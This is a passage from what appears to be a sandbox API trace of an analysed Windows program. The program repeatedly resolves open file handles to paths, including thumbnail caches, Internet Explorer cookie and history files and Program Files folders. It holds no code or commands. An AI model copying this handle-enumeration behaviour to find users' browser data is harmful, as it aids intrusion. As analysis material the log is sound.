CloseHandle (hObject=0xf0) returned 1 [0091.129] GetFileType (hFile=0x138) returned 0x1 [0091.129] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db") returned 0x5c [0091.131] CloseHandle (hObject=0x138) returned 1 [0091.131] GetFileType (hFile=0xf0) returned 0x1 [0091.132] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db") returned 0x5c [0091.134] CloseHandle (hObject=0xf0) returned 1 [0091.135] GetFileType (hFile=0x138) returned 0x1 [0091.135] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0091.136] CloseHandle (hObject=0x138) returned 1 [0091.136] GetFileType (hFile=0xf0) returned 0x1 [0091.136] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db") returned 0x5d [0091.139] CloseHandle (hObject=0xf0) returned 1 [0091.139] GetFileType (hFile=0x138) returned 0x1 [0091.139] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db") returned 0x5c [0091.141] CloseHandle (hObject=0x138) returned 1 [0091.141] GetFileType (hFile=0xf0) returned 0x1 [0091.141] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db") returned 0x5b [0091.143] CloseHandle (hObject=0xf0) returned 1 [0091.144] GetFileType (hFile=0x138) returned 0x1 [0091.144] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db") returned 0x5c [0091.146] CloseHandle (hObject=0x138) returned 1 [0091.146] GetFileType (hFile=0xf0) returned 0x1 [0091.146] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db") returned 0x5b [0091.155] CloseHandle (hObject=0xf0) returned 1 [0091.155] GetFileType (hFile=0x138) returned 0x1 [0091.155] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db") returned 0x5c [0091.157] CloseHandle (hObject=0x138) returned 1 [0091.157] GetFileType (hFile=0xf0) returned 0x1 [0091.157] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db") returned 0x5b [0091.159] CloseHandle (hObject=0xf0) returned 1 [0091.160] GetFileType (hFile=0x138) returned 0x1 [0091.160] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db") returned 0x5d [0091.162] CloseHandle (hObject=0x138) returned 1 [0091.162] GetFileType (hFile=0xf0) returned 0x1 [0091.162] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db") returned 0x5b [0091.165] CloseHandle (hObject=0xf0) returned 1 [0091.165] GetFileType (hFile=0x138) returned 0x0 [0091.165] CloseHandle (hObject=0x138) returned 1 [0091.165] GetFileType (hFile=0xf0) returned 0x1 [0091.165] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0091.166] CloseHandle (hObject=0xf0) returned 1 [0091.167] GetFileType (hFile=0x138) returned 0x1 [0091.167] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts") returned 0x55 [0091.168] CloseHandle (hObject=0x138) returned 1 [0091.169] GetFileType (hFile=0xf0) returned 0x1 [0091.169] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts") returned 0x55 [0091.171] CloseHandle (hObject=0xf0) returned 1 [0091.171] GetFileType (hFile=0x138) returned 0x1 [0091.171] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0091.173] CloseHandle (hObject=0x138) returned 1 [0091.173] GetFileType (hFile=0xf0) returned 0x1 [0091.173] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\netshell.dll.mui") returned 0x2e [0091.175] CloseHandle (hObject=0xf0) returned 1 [0091.175] GetFileType (hFile=0x138) returned 0x1 [0091.175] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db") returned 0x5b [0091.177] CloseHandle (hObject=0x138) returned 1 [0091.177] GetFileType (hFile=0xf0) returned 0x1 [0091.177] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db") returned 0x5b [0091.180] CloseHandle (hObject=0xf0) returned 1 [0091.180] GetFileType (hFile=0x138) returned 0x0 [0091.180] CloseHandle (hObject=0x138) returned 1 [0091.180] GetFileType (hFile=0xf0) returned 0x1 [0091.181] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db") returned 0x5b [0091.198] CloseHandle (hObject=0xf0) returned 1 [0091.198] GetFileType (hFile=0x138) returned 0x1 [0091.199] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\KernelBase.dll.mui") returned 0x30 [0091.201] CloseHandle (hObject=0x138) returned 1 [0091.201] GetFileType (hFile=0xf0) returned 0x1 [0091.201] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0091.202] CloseHandle (hObject=0xf0) returned 1 [0091.202] GetFileType (hFile=0x138) returned 0x1 [0091.202] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0091.204] CloseHandle (hObject=0x138) returned 1 [0091.204] GetFileType (hFile=0xf0) returned 0x1 [0091.204] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0091.205] CloseHandle (hObject=0xf0) returned 1 [0091.205] GetFileType (hFile=0x138) returned 0x1 [0091.206] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0091.207] CloseHandle (hObject=0x138) returned 1 [0091.207] GetFileType (hFile=0xf0) returned 0x1 [0091.207] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0091.208] CloseHandle (hObject=0xf0) returned 1 [0091.209] GetFileType (hFile=0x138) returned 0x1 [0091.209] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_08e61857a83bc251") returned 0x64 [0091.214] CloseHandle (hObject=0x138) returned 1 [0091.214] GetFileType (hFile=0xf0) returned 0x1 [0091.214] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt") returned 0x4b [0091.216] CloseHandle (hObject=0xf0) returned 1 [0091.216] GetFileType (hFile=0x138) returned 0x1 [0091.217] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0091.218] CloseHandle (hObject=0x138) returned 1 [0091.218] GetFileType (hFile=0xf0) returned 0x1 [0091.218] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat") returned 0x70 [0091.220] CloseHandle (hObject=0xf0) returned 1 [0091.221] GetFileType (hFile=0x138) returned 0x0 [0091.221] CloseHandle (hObject=0x138) returned 1 [0091.221] GetFileType (hFile=0xf0) returned 0x1 [0091.221] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\ActionCenter.dll.mui") returned 0x32 [0091.223] CloseHandle (hObject=0xf0) returned 1 [0091.223] GetFileType (hFile=0x138) returned 0x1 [0091.223] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0091.224] CloseHandle (hObject=0x138) returned 1 [0091.224] GetFileType (hFile=0xf0) returned 0x3 [0091.225] CloseHandle (hObject=0xf0) returned 1 [0091.225] GetFileType (hFile=0x138) returned 0x3 [0091.225] CloseHandle (hObject=0x138) returned 1 [0091.225] GetFileType (hFile=0xf0) returned 0x1 [0091.225] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db") returned 0x5d [0091.228] CloseHandle (hObject=0xf0) returned 1 [0091.228] GetFileType (hFile=0x138) returned 0x1 [0091.228] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db") returned 0x5b [0091.230] CloseHandle (hObject=0x138) returned 1 [0091.230] GetFileType (hFile=0xf0) returned 0x1 [0091.230] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db") returned 0x5c [0091.232] CloseHandle (hObject=0xf0) returned 1 [0091.232] GetFileType (hFile=0x138) returned 0x1 [0091.233] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db") returned 0x5b [0091.235] CloseHandle (hObject=0x138) returned 1 [0091.235] GetFileType (hFile=0xf0) returned 0x1 [0091.235] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db") returned 0x5b [0091.237] CloseHandle (hObject=0xf0) returned 1 [0091.237] GetFileType (hFile=0x138) returned 0x1 [0091.237] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db") returned 0x5c [0091.239] CloseHandle (hObject=0x138) returned 1 [0091.239] GetFileType (hFile=0xf0) returned 0x1 [0091.240] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db") returned 0x5c [0091.242] CloseHandle (hObject=0xf0) returned 1 [0091.242] GetFileType (hFile=0x138) returned 0x1 [0091.242] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db") returned 0x5b [0091.244] CloseHandle (hObject=0x138) returned 1 [0091.244] GetFileType (hFile=0xf0) returned 0x1 [0091.245] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db") returned 0x5b [0091.246] CloseHandle (hObject=0xf0) returned 1 [0091.247] GetFileType (hFile=0x138) returned 0x1 [0091.247] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db") returned 0x5d [0091.249] CloseHandle (hObject=0x138) returned 1 [0091.249] GetFileType (hFile=0xf0) returned 0x1 [0091.249] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db") returned 0x5c [0091.251] CloseHandle (hObject=0xf0) returned 1 [0091.251] GetFileType (hFile=0x138) returned 0x3 [0091.251] CloseHandle (hObject=0x138) returned 1 [0091.252] GetFileType (hFile=0xf0) returned 0x1 [0091.252] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db") returned 0x5c [0091.254] CloseHandle (hObject=0xf0) returned 1 [0091.254] GetFileType (hFile=0x138) returned 0x1 [0091.254] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat") returned 0x55 [0091.258] CloseHandle (hObject=0x138) returned 1 [0091.258] GetFileType (hFile=0xf0) returned 0x1 [0091.258] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat") returned 0x5f [0091.261] CloseHandle (hObject=0xf0) returned 1 [0091.261] GetFileType (hFile=0x138) returned 0x1 [0091.261] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012020022120200222\\index.dat") returned 0x78 [0091.264] CloseHandle (hObject=0x138) returned 1 [0091.264] GetFileType (hFile=0xf0) returned 0x1 [0091.264] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32") returned 0x17 [0091.265] CloseHandle (hObject=0xf0) returned 1 [0091.265] GetFileType (hFile=0x138) returned 0x0 [0091.266] CloseHandle (hObject=0x138) returned 1 [0091.266] GetFileType (hFile=0xf0) returned 0x0 [0091.266] CloseHandle (hObject=0xf0) returned 1 [0091.266] GetFileType (hFile=0x138) returned 0x1 [0091.266] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\KernelBase.dll.mui") returned 0x30 [0091.268] CloseHandle (hObject=0x138) returned 1 [0091.268] GetFileType (hFile=0xf0) returned 0x1 [0091.268] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\msutb.dll.mui") returned 0x2b [0091.270] CloseHandle (hObject=0xf0) returned 1 [0091.270] GetFileType (hFile=0x138) returned 0x1 [0091.270] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32") returned 0x17 [0091.271] CloseHandle (hObject=0x138) returned 1 [0091.271] GetFileType (hFile=0xf0) returned 0x0 [0091.271] CloseHandle (hObject=0xf0) returned 1 [0091.272] GetFileType (hFile=0x138) returned 0x1 [0091.272] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0091.273] CloseHandle (hObject=0x138) returned 1 [0091.273] GetFileType (hFile=0xf0) returned 0x1 [0091.273] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Journal") returned 0x24 [0091.274] CloseHandle (hObject=0xf0) returned 1 [0091.275] GetFileType (hFile=0x138) returned 0x1 [0091.275] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0091.276] CloseHandle (hObject=0x138) returned 1 [0091.276] GetFileType (hFile=0xf0) returned 0x1 [0091.276] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Uninstall Information") returned 0x2a [0091.277] CloseHandle (hObject=0xf0) returned 1 [0091.277] GetFileType (hFile=0x138) returned 0x1 [0091.277] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0091.278] CloseHandle (hObject=0x138) returned 1 [0091.278] GetFileType (hFile=0xf0) returned 0x1 [0091.279] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Sidebar") returned 0x24 [0091.279] CloseHandle (hObject=0xf0) returned 1 [0091.280] GetFileType (hFile=0x138) returned 0x1 [0091.280] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0091.281] CloseHandle (hObject=0x138) returned 1 [0091.281] GetFileType (hFile=0xf0) returned 0x1 [0091.281] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Sidebar") returned 0x24 [0091.282] CloseHandle (hObject=0xf0) returned 1 [0091.282] GetFileType (hFile=0x138) returned 0x1 [0091.282] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0091.284] CloseHandle (hObject=0x138) returned 1 [0091.284] GetFileType (hFile=0xf0) returned 0x1 [0091.284] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\MSBuild") returned 0x1c [0091.285] CloseHandle (hObject=0xf0) returned 1 [0091.285] GetFileType (hFile=0x138) returned 0x1 [0091.285] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0091.286] CloseHandle (hObject=0x138) returned 1 [0091.287] GetFileType (hFile=0xf0) returned 0x1 [0091.287] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Media Player") returned 0x29 [0091.288] CloseHandle (hObject=0xf0) returned 1 [0091.288] GetFileType (hFile=0x138) returned 0x1 [0091.288] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0091.289] CloseHandle (hObject=0x138) returned 1 [0091.290] GetFileType (hFile=0xf0) returned 0x1 [0091.290] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\DVD Maker") returned 0x1e [0091.291] CloseHandle (hObject=0xf0) returned 1 [0091.291] GetFileType (hFile=0x138) returned 0x1 [0091.291] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0091.293] CloseHandle (hObject=0x138) returned 1 [0091.293] GetFileType (hFile=0xf0) returned 0x1 [0091.293] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft Analysis Services") returned 0x36 [0091.294] CloseHandle (hObject=0xf0) returned 1 [0091.294] GetFileType (hFile=0x138) returned 0x1 [0091.294] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0091.295] CloseHandle (hObject=0x138) returned 1 [0091.295] GetFileType (hFile=0xf0) returned 0x1 [0091.296] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Journal") returned 0x24 [0091.296] CloseHandle (hObject=0xf0) returned 1 [0091.297] GetFileType (hFile=0x138) returned 0x1 [0091.297] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0091.298] CloseHandle (hObject=0x138) returned 1 [0091.298] GetFileType (hFile=0xf0) returned 0x1 [0091.298] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Reference Assemblies") returned 0x2f [0091.299] CloseHandle (hObject=0xf0) returned 1 [0091.299] GetFileType (hFile=0x138) returned 0x1 [0091.300] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0091.301] CloseHandle (hObject=0x138) returned 1 [0091.301] GetFileType (hFile=0xf0) returned 0x1 [0091.301] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Mozilla Maintenance Service") returned 0x36 [0091.302] CloseHandle (hObject=0xf0) returned 1 [0091.302] GetFileType (hFile=0x138) returned 0x1 [0091.303] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0091.305] CloseHandle (hObject=0x138) returned 1 [0091.305] GetFileType (hFile=0xf0) returned 0x1 [0091.305] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Uninstall Information") returned 0x30 [0091.306] CloseHandle (hObject=0xf0) returned 1 [0091.306] GetFileType (hFile=0x138) returned 0x1 [0091.306] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") 